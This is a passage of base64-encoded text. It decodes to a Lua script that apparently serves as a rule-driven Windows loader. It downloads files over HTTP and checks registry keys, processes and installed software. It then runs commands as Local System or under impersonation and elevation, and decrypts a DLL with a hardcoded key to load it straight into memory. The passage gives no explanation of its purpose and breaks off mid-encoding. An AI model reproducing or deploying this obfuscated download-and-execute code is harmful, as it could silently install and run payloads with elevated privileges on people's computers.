b2RlIHBhY2thZ2UiCmVuZAp0Ll9faW5kZXg9dApmdW5jdGlvbiB0Om5ldyhhKQpsb2NhbCBlPXt9
CmlmIGEgdGhlbgpmb3IgdCxhIGluIHBhaXJzKGEpZG8KZVt0XT1hCmVuZAplbmQKcmV0dXJuIHNl
dG1ldGF0YWJsZShlLHQpCmVuZApyZXR1cm4gdDpuZXcoKQplbmQpCnBhY2thZ2UucHJlbG9hZFsn
Y29tbW9uJ109KGZ1bmN0aW9uKC4uLikKbG9jYWwgcz1yZXF1aXJlKCJzb2NrZXQuaHR0cCIpOwps
b2NhbCByPXJlcXVpcmUoImx0bjEyIik7CmxvY2FsIHQ9e307CmxvY2FsIGQ9e19faW5kZXg9dH07
CmxvY2FsIGg9dHJ1ZTsKbG9jYWwgbj0iIjsKbG9jYWwgZT1vcy50aW1lKCk7CmxvY2FsIGU9Jyc7
CmxvY2FsIGU9Jyc7CmxvY2FsIGU9Jyc7CmxvY2FsIGk9e307CmZ1bmN0aW9uIHQuc2hhbGxvd2Nv
cHkodCkKbG9jYWwgYT10eXBlKHQpCmxvY2FsIGUKaWYgYT09J3RhYmxlJ3RoZW4KZT17fQpmb3Ig
dCxhIGluIHBhaXJzKHQpZG8KZVt0XT1hCmVuZAplbHNlCmU9dAplbmQKcmV0dXJuIGUKZW5kCmZ1
bmN0aW9uIHQuc2V0cmVzdWx0cyhlKQppPXQuc2hhbGxvd2NvcHkoZSk7CmVuZApwcm9ncmVzc19m
aWx0ZXI9ZnVuY3Rpb24oZSkKbG9jYWwgdD0wOwpyZXR1cm4gZnVuY3Rpb24oZSkKaWYgZT09bmls
IHRoZW4gcmV0dXJuIG5pbCBlbmQKaWYgZT09IiJ0aGVuIHJldHVybiIiZW5kCnQ9dCsjZTsKcmV0
dXJuIGU7CmVuZAplbmQKZnVuY3Rpb24gdC51cmxlbmNvZGUoZSkKaWYoZSl0aGVuCmU9c3RyaW5n
LmdzdWIoZSwiXG4iLCJcclxuIikKZT1zdHJpbmcuZ3N1YihlLCIoW14ldyAlLSVfJS4lfl0pIiwK
ZnVuY3Rpb24oZSlyZXR1cm4gc3RyaW5nLmZvcm1hdCgiJSUlMDJYIixzdHJpbmcuYnl0ZShlKSll
bmQpCmU9c3RyaW5nLmdzdWIoZSwiICIsIisiKQplbmQKcmV0dXJuIGUKZW5kCmZ1bmN0aW9uIGdl
dGh0dHBzaXplKGUpCmxvY2FsIGEsdCxlPXMucmVxdWVzdHttZXRob2Q9IkhFQUQiLHVybD1lfQpp
ZiB0PT0yMDAgdGhlbgpyZXR1cm4gdG9udW1iZXIoZVsiY29udGVudC1sZW5ndGgiXSk7CmVuZApl
bmQKZnVuY3Rpb24gdC5nZXRieWh0dHAobyx0KQpsb2NhbCBlPWZhbHNlOwpsb2NhbCBpPSIiOwpp
ZiB0IHRoZW4KbG9jYWwgYT10IGFuZCBpby5vcGVuKHQsIndiIilvciBvcy50bXBuYW1lKCk7Cmxv
Y2FsIGE9ci5zaW5rLmZpbGUoYSBvciBpby5zdGRvdXQpOwppZiB0IHRoZW4KYT1yLnNpbmsuY2hh
aW4ocHJvZ3Jlc3NfZmlsdGVyKGdldGh0dHBzaXplKG8pKSxhKTsKZT10cnVlOwplbmQKbG9jYWwg
dD0KewpbIkV4cGlyZXMiXT0iVGh1LCAxOSBOb3YgMTk4MSAwODo1MjowMCBHTVQiLApbIkNhY2hl
LUNvbnRyb2wiXT0ibm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hl
Y2s9MCwgcHJlLWNoZWNrPTAiCn07CmxvY2FsIGEsdCxhLGE9cy5yZXF1ZXN0CnsKdXJsPW8sCmhl
YWRlcnM9dCwKc2luaz1hCn07CmlmIHR+PTIwMCB0aGVuCmU9ZmFsc2U7CmVuZAplbHNlCmU9dHJ1
ZTsKaT1zLnJlcXVlc3Qobyk7CmVuZApyZXR1cm4gZSxpOwplbmQKZnVuY3Rpb24gdC5zcGxpdChh
LGUsdCkKaWYgc3RyaW5nLmZpbmQoYSxlKT09bmlsIHRoZW4KcmV0dXJue2F9CmVuZAppZiB0PT1u
aWwgb3IgdDwxIHRoZW4KdD0wCmVuZApsb2NhbCBvPXt9CmxvY2FsIG49IiguLSkiLi5lLi4iKCki
CmxvY2FsIGU9MApsb2NhbCBpCmZvciBuLGEgaW4gc3RyaW5nLmdmaW5kKGEsbilkbwplPWUrMQpv
W2VdPW4KaT1hCmlmIGU9PXQgdGhlbiBicmVhayBlbmQKZW5kCmlmIGV+PXQgdGhlbgpvW2UrMV09
c3RyaW5nLnN1YihhLGkpCmVuZApyZXR1cm4gbwplbmQKZnVuY3Rpb24gdC5leGVjdXRlKGEsbyxl
KQppZiBvfj1uaWwgdGhlbgppZiBlPT1uaWwgdGhlbgplPWZhbHNlOwplbmQKaWYgQ3JlYXRlUHJv
Y2Vzc0FzVXNlcihhLGUpdGhlbgplbmQKZWxzZQp0LmRlYnVnKCJFeGVjdXRpbmcgYXMgTG9jYWwg
U3lzdGVtIik7CmlmIENyZWF0ZVByb2Nlc3MobmlsLGEsbmlsLG5pbCwwLHczMlsiQ1JFQVRFX05F
V19DT05TT0xFIl0sbmlsLG5pbCl0aGVuCmVsc2UKZW5kCmVuZAppZiBHZXRMYXN0RXJyb3IoKT4w
IHRoZW4KdC5kZWJ1ZygiRXhlY3V0ZSBVbnN1Y2Nlc3NmdWwiKTsKdC5kZWJ1ZygiTEFTVCBFUlJP
UjogIi4uR2V0TGFzdEVycm9yKCkpOwplbHNlCnQuZGVidWcoIkV4ZWN1dGUgc3VjY2Vzc2Z1bCIp
OwplbmQKcmV0dXJuIHRydWU7CmVuZApmdW5jdGlvbiB0LmZpbGVwYXJ0cyhlKQpyZXR1cm4gc3Ry
aW5nLm1hdGNoKGUsIiguLSkoW15cXF0tKFteJS5dKykpJCIpOwplbmQKZnVuY3Rpb24gdC5yZWFk
ZmlsZShvKQpsb2NhbCBhOwppZiBDcmVhdGVGaWxlfj1uaWwgdGhlbgpsb2NhbCBlPUNyZWF0ZUZp
bGUobyx3MzJbIkdFTkVSSUNfUkVBRCJdLHczMlsiRklMRV9TSEFSRV9SRUFEIl0sbmlsLHczMlsi
T1BFTl9FWElTVElORyJdLHczMlsiRklMRV9BVFRSSUJVVEVfTk9STUFMIl0sbmlsKTsKaWYgZT09
LTEgb3IgZT09dzMyWyJJTlZBTElEX0hBTkRMRV9WQUxVRSJddGhlbgp0LmRlYnVnKHN0cmluZy5m
b3JtYXQoIlJlYWRmaWxlOiAlcyBFcnJvcjogJXMgKCVzKSIsbyxHZXRMYXN0RXJyb3IoKSxlKSk7
CmVsc2UKbG9jYWwgdD1HZXRGaWxlU2l6ZUV4KGUpOwppZiB0PjAgdGhlbgpoLGE9UmVhZEZpbGUo
ZSx0KTsKZW5kCmVuZAppZiBlIHRoZW4gQ2xvc2VIYW5kbGUoZSk7ZW5kCmVsc2UKbG9jYWwgZT1p
by5vcGVuKG8sInJiIik7CmlmIGUgdGhlbgphPWU6cmVhZCgiKmEiKQplOmNsb3NlKCkKZW5kCmVu
ZApyZXR1cm4gYTsKZW5kCmZ1bmN0aW9uIHQud3JpdGVmaWxlKG8saSxlKQpsb2NhbCBhPTA7Cmlm
IENyZWF0ZUZpbGUgdGhlbgpsb2NhbCBlPWUgb3IgdzMyWyJDUkVBVEVfTkVXIl07CmxvY2FsIGU9
Q3JlYXRlRmlsZShvLHczMlsiR0VORVJJQ19XUklURSJdLHczMlsiRklMRV9TSEFSRV9XUklURSJd
LG5pbCxlLHczMlsiRklMRV9BVFRSSUJVVEVfTk9STUFMIl0sbmlsKTsKaWYgZT09LTEgb3IgZT09
dzMyWyJJTlZBTElEX0hBTkRMRV9WQUxVRSJddGhlbgp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIldy
aXRlZmlsZTogJXMgRXJyb3I6ICVzICglcykiLG8sR2V0TGFzdEVycm9yKCksZSkpOwplbHNlCmgs
YT1Xcml0ZUZpbGUoZSxpKTsKZW5kCmlmIGUgdGhlbiBDbG9zZUhhbmRsZShlKTtlbmQKZWxzZQps
b2NhbCBlPWlvLm9wZW4obywid2IiKQppZiBlIHRoZW4KZTp3cml0ZShpKQplOmNsb3NlKCkKYT0j
aTsKZW5kCmVuZApyZXR1cm4gYTsKZW5kCmZ1bmN0aW9uIHQucmFuZG9tKGUpCm1hdGgucmFuZG9t
c2VlZChvcy50aW1lKCkpOwpsb2NhbCB0PShlKWFuZCBlIG9yIDEKbG9jYWwgZT0iIjsKZm9yIHQ9
MSx0IGRvCmU9ZS4uc3RyaW5nLmNoYXIobWF0aC5yYW5kb20oOTcsMTIyKSk7CmVuZApyZXR1cm4g
ZTsKZW5kCmZ1bmN0aW9uIHQuZGVidWcoZSkKaWYgT3V0cHV0RGVidWdTdHJpbmcgdGhlbgpsb2Nh
bCB0PShDaGVja0FyZylhbmQgQ2hlY2tBcmcoIm9wdGlvbnMiKW9yIiI7CmlmIHQ6c3ViKDEsMSk9
PSIxInRoZW4KT3V0cHV0RGVidWdTdHJpbmcoc3RyaW5nLmZvcm1hdCgibHVhIGRiZzogJXNcbiIs
dG9zdHJpbmcoZSkpKTsKZW5kCmVsc2UKcHJpbnQoZSk7CmVuZAplbmQKZnVuY3Rpb24gdC50ZW1w
cGF0aCgpCmlmIEdldFRlbXBQYXRofj1uaWwgdGhlbgprLHY9R2V0VGVtcFBhdGgoKTsKcmV0dXJu
IHY7CmVuZApyZXR1cm4iIjsKZW5kCmZ1bmN0aW9uIHQucXVlcnlzZXJ2aWNlKGksYSkKbG9jYWwg
bz1PcGVuU0NNYW5hZ2VyKCk7CmxvY2FsIGU7CmlmIGE9PW5pbCB0aGVuIGE9NDtlbmQKaWYgbz4w
IHRoZW4KbG9jYWwgbz1PcGVuU2VydmljZShvLGkpOwppZiBvPjAgdGhlbgpsb2NhbCBkLGgscyxp
LG4scj1RdWVyeVNlcnZpY2VDb25maWcobyk7CmlmIG5vdCBkIHRoZW4KZT17aCxzLGksbixyfTsK
dC5kZWJ1ZygiUXVlcnlTZXJ2aWNlOiAiLi5lW2FdKTsKZW5kCkNsb3NlU2VydmljZUhhbmRsZShv
KTsKZW5kCmVuZAppZiB0eXBlKGUpPT0idGFibGUidGhlbgppZiBlW2FddGhlbgpyZXR1cm4gZVth
XTsKZW5kCmVuZApyZXR1cm4gbmlsOwplbmQKZnVuY3Rpb24gdC5jdXN0b21zKGEpCmxvY2FsIHM9
dHJ1ZTsKUFJPR1JBTV9GSUxFUz0oUmVnUXVlcnlWYWx1ZUV4KWFuZCBSZWdRdWVyeVZhbHVlRXgo
dzMyWyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSwiU29mdHdhcmVcXE1pY3Jvc29mdFxcV2luZG93c1xc
Q3VycmVudFZlcnNpb24iLCJQcm9ncmFtRmlsZXNEaXIiKW9yIiI7CnNUbXBQYXRoPXQudGVtcHBh
dGgoKTsKbG9jYWwgZT1zdHJpbmcuZ3N1YihhLCJcXCIsIlxcXFwiKTsKbG9jYWwgbz0wOwp3aGls
ZSBzPT10cnVlIGFuZCBvPDUwIGRvCm89bysxOwppZiBzdHJpbmcuZmluZChhLCIkUFJPR1JBTUZJ
TEVTIil0aGVuCmU9c3RyaW5nLmdzdWIoZSwiJSRQUk9HUkFNRklMRVMiLCIlJXMiKTsKZT1zdHJp
bmcuZm9ybWF0KGUsUFJPR1JBTV9GSUxFUzpnc3ViKCJcXCIsIlxcXFwiKSk7CmVsc2VpZiBzdHJp
bmcuZmluZChhLCIkVEVNUEZJTEVTIil0aGVuCmU9c3RyaW5nLmdzdWIoZSwiJSRURU1QRklMRVMi
LCIlJXMiKTsKZT1zdHJpbmcuZm9ybWF0KGUsc1RtcFBhdGg6Z3N1YigiXFwiLCJcXFxcIikpOwpl
PWU6Z3N1YigiXFxcXFxcIiwiXFwiKTsKZWxzZWlmIHN0cmluZy5maW5kKGEsIiRTSUQiKXRoZW4K
bG9jYWwgdD1HZXRDdXJyZW50VXNlclNpZCgpOwplPXN0cmluZy5nc3ViKGUsIiUkU0lEIiwiJSVz
Iik7CmU9c3RyaW5nLmZvcm1hdChlLHQpOwplbHNlaWYgc3RyaW5nLmZpbmQoYSwiJFRJTUVMQVNU
Iil0aGVuCmlmIEdldFRpbWVMYXN0fj1uaWwgdGhlbgpsb2NhbCB0PUdldFRpbWVMYXN0KCk7CmU9
c3RyaW5nLmdzdWIoZSwiJSRUSU1FTEFTVCIsIiUlcyIpOwplPXN0cmluZy5mb3JtYXQoZSx0KTsK
ZW5kCmVsc2VpZiBzdHJpbmcuZmluZChhLCIkQ01EIil0aGVuCmxvY2FsIGE9c3RyaW5nLm1hdGNo
KGEsIkNNRCglZCspIik7CmlmIGF+PW5pbCB0aGVuCmxvY2FsIG49IiI7CmlmIHN0cmluZy5maW5k
KGEsIjoiKXRoZW4KbG9jYWwgYT10LnNwbGl0KGEsIjoiKTsKaWYgYVsxXX49bmlsIHRoZW4KbG9j
YWwgZT10LnNwbGl0KGlbYVsxXV0sIiAiKTsKbG9jYWwgbyxpPXN0cmluZy5maW5kKGFbMl0sIisi
KTsKaWYgbyB0aGVuCmFbMl09c3RyaW5nLmdzdWIoYVsyXSwiKyIsIiIpOwppZiB0eXBlKGUpPT0i
dGFibGUidGhlbgpmb3Igbz10YWJsZS5nZXRuKGUpLDEsLTEgZG8KaWYgbzx0b251bWJlcihhWzJd
KXRoZW4KdGFibGUucmVtb3ZlKGUsbyk7CmVsc2UKaWYgc3RyaW5nLmZpbmQoZVtvXSwiPSIpdGhl
bgpsb2NhbCB0PXQuc3BsaXQoZVtvXSwiPSIpOwplW29dPXN0cmluZy5mb3JtYXQoJyVzPSIlcyIn
LHRbMV0sdFsyXSk7CmVuZAplbmQKZW5kCm49dGFibGUuY29uY2F0KGUsIiAiKTsKZW5kCmVsc2UK
bj1lW3RvbnVtYmVyKGFbMl0pXTsKZW5kCmVuZAplbHNlCm49KGlbdG9udW1iZXIoYSldKWFuZCBp
W3RvbnVtYmVyKGEpXW9yIGlbYV07CmVuZAphPXN0cmluZy5nc3ViKGEsIisiLCIlJSsiKTsKZT1z
dHJpbmcuZ3N1YihlLCIlJENNRCIuLmEsIiUlcyIpOwplPXN0cmluZy5mb3JtYXQoZSxuKTsKZW5k
CmVsc2VpZiBzdHJpbmcuZmluZChhLCIkU09VUkNFR1VJRCIpdGhlbgpsb2NhbCB0PUNoZWNrQXJn
KCJzb3VyY2UiKTsKZT1zdHJpbmcuZ3N1YihlLCIlJFNPVVJDRUdVSUQiLHQpOwplbHNlaWYgc3Ry
aW5nLmZpbmQoYSwiJFVTRVJHVUlEIil0aGVuCmxvY2FsIHQ9R2V0VXNlckd1aWQoKTsKc1VzZXJH
dWlkPXN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVzLSVzIix0OnN1YigxLDgpLHQ6c3ViKDksMTIp
LHQ6c3ViKDEzLDE2KSx0OnN1YigxNywyMCksdDpzdWIoMjEpKTsKc1VzZXJHdWlkPXN0cmluZy51
cHBlcihzVXNlckd1aWQpOwplPXN0cmluZy5nc3ViKGUsIiUkVVNFUkdVSUQiLHNVc2VyR3VpZCk7
CmVsc2VpZiBzdHJpbmcuZmluZChhLCIkVkVSU0lPTiIpdGhlbgppZiBHZXRWZXJzaW9ufj1uaWwg
dGhlbgpsb2NhbCB0PXRvc3RyaW5nKEdldFZlcnNpb24oKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRW
RVJTSU9OIiwiJSVzIik7CmU9c3RyaW5nLmZvcm1hdChlLHQpOwplbmQKZWxzZWlmIHN0cmluZy5m
aW5kKGEsIiRPUFRJT05TIil0aGVuCmxvY2FsIG89KENoZWNrQXJnKWFuZCBDaGVja0FyZygib3B0
aW9ucyIpb3IiIjsKbG9jYWwgYT1zdHJpbmcubWF0Y2goYSwiT1BUSU9OUyglZCspIik7CmlmIGF+
PW5pbCB0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRWxlbWVudDogJXMiLGEpKTsKZT1zdHJp
bmcuZ3N1YihlLCIlJE9QVElPTlMiLi5hLCIlJXMiKTsKZT1zdHJpbmcuZm9ybWF0KGUsbzpzdWIo
YSxhKSk7CmVsc2UKZT1zdHJpbmcuZ3N1YihlLCIlJE9QVElPTlMiLCIlJXMiKTsKZT1zdHJpbmcu
Zm9ybWF0KGUsbyk7CmVuZAplbHNlaWYgc3RyaW5nLmZpbmQoYSwiJFBST0RVQ1QiKXRoZW4KbG9j
YWwgdD0oQ2hlY2tBcmcpYW5kIENoZWNrQXJnKCJvcHRpb25zIilvciIiOwpsb2NhbCB0PXN0cmlu
Zy5mb3JtYXQoIiVzIix0OnN1Yig4LDEwKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRQUk9EVUNUIix0
KTsKZWxzZWlmIHN0cmluZy5maW5kKGEsIiRJczY0Qml0Iil0aGVuCmxvY2FsIGE9KElzNjRCaXQo
KT09dHJ1ZSlhbmQiNjQib3IiMzIiOwp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIklzNjRCaXQ6ICVz
IixhKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRJczY0Qml0IixhKTsKdC5kZWJ1ZyhlKTsKZWxzZWlm
IHN0cmluZy5maW5kKGEsIiRSQU5EIil0aGVuCmxvY2FsIGE9c3RyaW5nLm1hdGNoKGEsIlJBTkQo
LispIik7Cm1hdGgucmFuZG9tc2VlZChvcy50aW1lKCkpOwplPXRvc3RyaW5nKG1hdGgucmFuZG9t
KDEsMTAwKSk7CmlmIGF+PW5pbCB0aGVuCmlmIHN0cmluZy5maW5kKGEsIiwiKXRoZW4KbG9jYWwg
dD10LnNwbGl0KGEsIiwiKTsKaWYgdFsxXX49bmlsIHRoZW4KaWYgdG9udW1iZXIodFsxXSk+dG9u
dW1iZXIodFsyXSl0aGVuCnRbMV09MQplbmQKZT10b3N0cmluZyhtYXRoLnJhbmRvbSh0b251bWJl
cih0WzFdKSx0b251bWJlcih0WzJdKSkpOwplbmQKZW5kCmVuZAp0LmRlYnVnKHN0cmluZy5mb3Jt
YXQoIlJhbmRvbTogJXMiLGUpKTsKZWxzZQpzPWZhbHNlOwplbmQKYT1lOwplbmQKZT0odHJpbSlh
bmQgdHJpbShlKW9yIHQudHJpbShlKTsKcmV0dXJuIGU7CmVuZApmdW5jdGlvbiB0LmNvbW1hbmQo
ZSkKbG9jYWwgbz1mYWxzZTsKaWYgZVsidHh0Y21kIl09PSJJZiJ0aGVuCmxvY2FsIGE9dC5jdXN0
b21zKGVbInR4dFdoYXQiXSk7CmlmIGVbInR4dGRvIl09PSJGaWxlInRoZW4KZHdSZXN1bHQsdEZp
bGVJbmZvPUZpbmRGaXJzdEZpbGUoYSk7CmlmIGR3UmVzdWx0fj0wIHRoZW4KZVsicmVzdWx0Il09
KGVbInR4dFdoYXRJZiJdPT0iRXhpc3RzIilhbmQiMSJvciIwIjsKZWxzZQplWyJyZXN1bHQiXT0o
ZVsidHh0V2hhdElmIl09PSJOb3QgRXhpc3RzIilhbmQiMSJvciIwIjsKZW5kCmlmIGR3UmVzdWx0
PjAgdGhlbgpGaW5kQ2xvc2UoZHdSZXN1bHQpOwplbmQKZWxzZWlmIGVbInR4dGRvIl09PSJSZWdp
c3RyeSJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiUmVnaXN0cnk6ICVzIixhKSk7CmxvY2Fs
IG89dC5zcGxpdChhLCIsIik7CmlmIHczMltvWzFdXX49bmlsIHRoZW4KaWYgb1szXX49bmlsIHRo
ZW4KbG9jYWwgYT1SZWdRdWVyeVZhbHVlRXgodzMyW29bMV1dLG9bMl0sb1szXSk7CmE9KGF+PW5p
bClhbmQgdC5jdXN0b21zKGEpb3IgbmlsOwppZiBlWyJ0eHRXaGF0SWYiXT09IkVxdWFscyJhbmQg
b1s1XX49bmlsIGFuZCBhfj1uaWwgdGhlbgppZiBhPT1vWzVddGhlbgplWyJyZXN1bHQiXT0iMSI7
CmVuZAplbHNlaWYgZVsidHh0V2hhdElmIl09PSJFeGlzdHMiYW5kIGF+PW5pbCB0aGVuCmVbInJl
c3VsdCJdPSIxIjsKZWxzZWlmIGVbInR4dFdoYXRJZiJdPT0iTm90IEV4aXN0cyJhbmQgYT09bmls
IHRoZW4KZVsicmVzdWx0Il09IjEiOwplbmQKZW5kCmVsc2UKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0
KCJSZWdpc3RyeSBFcnJvciAlcyAlcyIsZVsidHh0V2hhdElmIl0sYSkpOwplbmQKZWxzZWlmIGVb
InR4dGRvIl09PSJDb21tYW5kInRoZW4KbG9jYWwgYT10LnNwbGl0KGEsIiwiKTsKaWYgYVsyXX49
bmlsIHRoZW4KbG9jYWwgbz0oaVt0b251bWJlcihhWzFdKV0pYW5kIGlbdG9udW1iZXIoYVsxXSld
b3IgaVthWzFdXTsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJDb21tYW5kICMlczogJXMgJXMgJXMi
LGFbMV0sbyxlWyJ0eHRXaGF0SWYiXSxhWzJdKSk7CmlmIGVbInR4dFdoYXRJZiJdPT0iQ29udGFp
bnMidGhlbgppZiBzdHJpbmcuZmluZChzdHJpbmcudXBwZXIobyksc3RyaW5nLnVwcGVyKGFbMl0p
KXRoZW4KZVsicmVzdWx0Il09IjEiOwplbHNlCmVbInJlc3VsdCJdPSIwIjsKZW5kCmVsc2UKaWYg
bz09YVsyXXRoZW4KZVsicmVzdWx0Il09KGVbInR4dFdoYXRJZiJdPT0iRXF1YWxzIilhbmQiMSJv
ciIwIjsKZWxzZQplWyJyZXN1bHQiXT0oZVsidHh0V2hhdElmIl09PSJOb3QgRXF1YWxzIilhbmQi
MSJvciIwIjsKZW5kCmVuZAplbHNlCmVbInJlc3VsdCJdPSIwIjsKZW5kCmVsc2VpZiBlWyJ0eHRk
byJdPT0iVmFyaWFibGUidGhlbgpsb2NhbCBhPXQuc3BsaXQoYSwiLCIpOwplWyJyZXN1bHQiXT0i
MCI7CmlmIGFbMl1+PW5pbCB0aGVuCnNTRz0oQ2hlY2tBcmcpYW5kIENoZWNrQXJnKCJzb3VyY2Ui
KW9yIiI7CmlmIGFbMV09PSJVc2VyIEdVSUQidGhlbgpzU0c9R2V0VXNlckd1aWQoKTsKc1NHPXN0
cmluZy51cHBlcihzdHJpbmcuZm9ybWF0KCIlcy0lcy0lcy0lcy0lcyIsc1NHOnN1YigxLDgpLHNT
RzpzdWIoOSwxMiksc1NHOnN1YigxMywxNiksc1NHOnN1YigxNywyMCksc1NHOnN1YigyMSkpKTsK
ZWxzZWlmIGFbMV09PSJWZXJzaW9uInRoZW4KaWYgR2V0VmVyc2lvbn49bmlsIHRoZW4Kc1NHPXRv
c3RyaW5nKEdldFZlcnNpb24oKSk7CmVuZAplbHNlaWYgYVsxXT09IklzNjRCaXQidGhlbgppZiBJ
czY0Qml0fj1uaWwgdGhlbgpzU0c9dG9zdHJpbmcoSXM2NEJpdCgpKTsKZW5kCmVsc2VpZiBzdHJp
bmcuZmluZChhWzFdLCJPcHRpb25zIil0aGVuCnNTRz10LmN1c3RvbXMoIiQiLi5zdHJpbmcudXBw
ZXIoYVsxXSkpOwplbmQKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJWYXJpYWJsZSAlcyAoJXMpID0g
JXMiLGFbMV0sc1NHLGFbMl0pKTsKaWYgZVsidHh0V2hhdElmIl09PSJDb250YWlucyJ0aGVuCmlm
IHN0cmluZy5maW5kKHNTRyxhWzJdKXRoZW4KZVsicmVzdWx0Il09IjEiOwplbmQKZWxzZQppZiBz
U0c9PWFbMl10aGVuCmVbInJlc3VsdCJdPShlWyJ0eHRXaGF0SWYiXT09IkVxdWFscyIpYW5kIjEi
b3IiMCI7CmVsc2UKZVsicmVzdWx0Il09KGVbInR4dFdoYXRJZiJdPT0iTm90IEVxdWFscyIpYW5k
IjEib3IiMCI7CmVuZAplbmQKZW5kCmVsc2VpZiBlWyJ0eHRkbyJdPT0iUHJvY2VzcyJ0aGVuCmlm
IElzUHJvY2Vzc1J1bm5pbmcoYSxmYWxzZSl0aGVuCmVbInJlc3VsdCJdPSIxIjsKZWxzZQplWyJy
ZXN1bHQiXT0iMCI7CmVuZAplbHNlaWYgZVsidHh0ZG8iXT09Ikluc3RhbGxlZCJ0aGVuCmxvY2Fs
IHQ9e307CnRbMV09IlNPRlRXQVJFXFxXb3c2NDMyTm9kZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxD
dXJyZW50VmVyc2lvblxcVW5pbnN0YWxsIjsKdFsyXT0iU09GVFdBUkVcXE1pY3Jvc29mdFxcV2lu
ZG93c1xcQ3VycmVudFZlcnNpb25cXFVuaW5zdGFsbCI7CmVbInJlc3VsdCJdPSIwIjsKZVsic3Rh
dHVzIl09IjAiOwpmb3Igbyx0IGluIHBhaXJzKHQpZG8KbG9jYWwgbz1SZWdFbnVtS2V5RXgodzMy
WyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSx0KTsKaWYgdHlwZShvKT09InRhYmxlInRoZW4KZm9yIGks
byBpbiBwYWlycyhvKWRvCmxvY2FsIGk9UmVnRW51bVZhbHVlKHczMlsiSEtFWV9MT0NBTF9NQUNI
SU5FIl0sdC4uIlxcIi4ubyk7CmlmIHR5cGUoaSk9PSJ0YWJsZSJ0aGVuCmZvciBuLGkgaW4gcGFp
cnMoaSlkbwppZiBpPT0iRGlzcGxheU5hbWUidGhlbgpsb2NhbCB0PVJlZ1F1ZXJ5VmFsdWVFeCh3
MzJbIkhLRVlfTE9DQUxfTUFDSElORSJdLHQuLiJcXCIuLm8saSk7CnQ9c3RyaW5nLmxvd2VyKHQ6
Z3N1YigiICIsIiIpKTsKYT1zdHJpbmcubG93ZXIoYTpnc3ViKCIgIiwiIikpOwppZiBzdHJpbmcu
ZmluZCh0LGEpdGhlbgplWyJyZXN1bHQiXT0iMSI7CmVbInN0YXR1cyJdPSIxIjsKYnJlYWs7CmVu
ZAplbmQKZW5kCmVuZAplbmQKZW5kCmVuZAplbmQKbz10cnVlOwppZiBlWyJyZXN1bHQiXT09IjEi
dGhlbgppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iU3RvcCJ0aGVuCnQuZGVidWcoIlRoZW4gU2F0aXNm
aWVkLCBTdG9wcGluZyIpOwplWyJzdGF0dXMiXT0iMCI7Cm89ZmFsc2U7CmVsc2VpZiBlWyJ0eHRX
aGF0VGhlbiJdPT0iR290byJ0aGVuCnQuZGVidWcoIlRoZW4gU2F0aXNmaWVkLCBHb2luZyB0byAi
KTsKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJDb250aW51ZSJ0aGVuCnQuZGVidWcoIlRoZW4g
U2F0aXNmaWVkLCBDb250aW51aW5nIik7CmVuZAplbHNlCmlmIGVbInR4dFdoYXRFbHNlIl09PSJT
dG9wInRoZW4KdC5kZWJ1ZygiRWxzZSBTYXRpc2ZpZWQsIFN0b3BwaW5nIik7CmVbInN0YXR1cyJd
PSIwIjsKbz1mYWxzZTsKZWxzZWlmIGVbInR4dFdoYXRFbHNlIl09PSJHb3RvInRoZW4KZVsic3Rh
dHVzIl09IjEiOwp0LmRlYnVnKCJFbHNlIFNhdGlzZmllZCwgR29pbmcgdG8gIik7CmVsc2VpZiBl
WyJ0eHRXaGF0RWxzZSJdPT0iQ29udGludWUidGhlbgplWyJzdGF0dXMiXT0iMSI7CnQuZGVidWco
IkVsc2UgU2F0aXNmaWVkLCBDb250aW51aW5nIik7CmVuZAplbmQKZW5kCmlmIGVbInR4dGNtZCJd
PT0iRG8idGhlbgpsb2NhbCBhPXQuY3VzdG9tcyhlWyJ0eHRXaGF0Il0pOwppZiBlWyJ0eHRkbyJd
PT0iRXhlY3V0ZSJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRXhlY3V0aW5nOiAlcyB3aXRo
ICVzIixhLGVbInR4dFdoYXRUaGVuIl0pKTsKaWYgZVsidHh0V2hhdFRoZW4iXT09IkxvY2FsIFN5
c3RlbSJ0aGVuCnQuZXhlY3V0ZShhKTsKZWxzZQppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iSW1wZXJz
b25hdGlvbiBhbmQgRWxldmF0aW9uInRoZW4KdC5leGVjdXRlKGEsdHJ1ZSx0cnVlKTsKZWxzZQp0
LmV4ZWN1dGUoYSx0cnVlLGZhbHNlKTsKZW5kCmVuZApvPXRydWU7CmVbInN0YXR1cyJdPSIxIjsK
ZVsiZGF0ZSJdPW9zLnRpbWUoKTsKZVsicmVzdWx0Il09IjEiOwplbHNlaWYgZVsidHh0ZG8iXT09
IkRMTCJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRExMIFNpemU6ICVzIHZpYSAlcyIsc3Ry
aW5nLmxlbihhKSxlWyJ0eHRXaGF0VGhlbiJdKSk7CmlmIGVbInR4dFdoYXRUaGVuIl09PSJNZW1v
cnkidGhlbgphPUVuY3J5cHQoYSwiYzIyZGY3MTQ2YjU0NGI1ZGFjYWNmYWJmMzdiZmQyNjRiZmIw
Zjg5NTNlMTQ0NDZhYmIwYjE5OGRmNDU0YzllYyIpOwpMb2FkRnJvbU1lbW9yeShhKTsKZW5kCm89
dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT0i
MSI7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iRmlsZSJ0aGVuCmlmIGVbInR4dFdoYXRUaGVuIl09PSJE
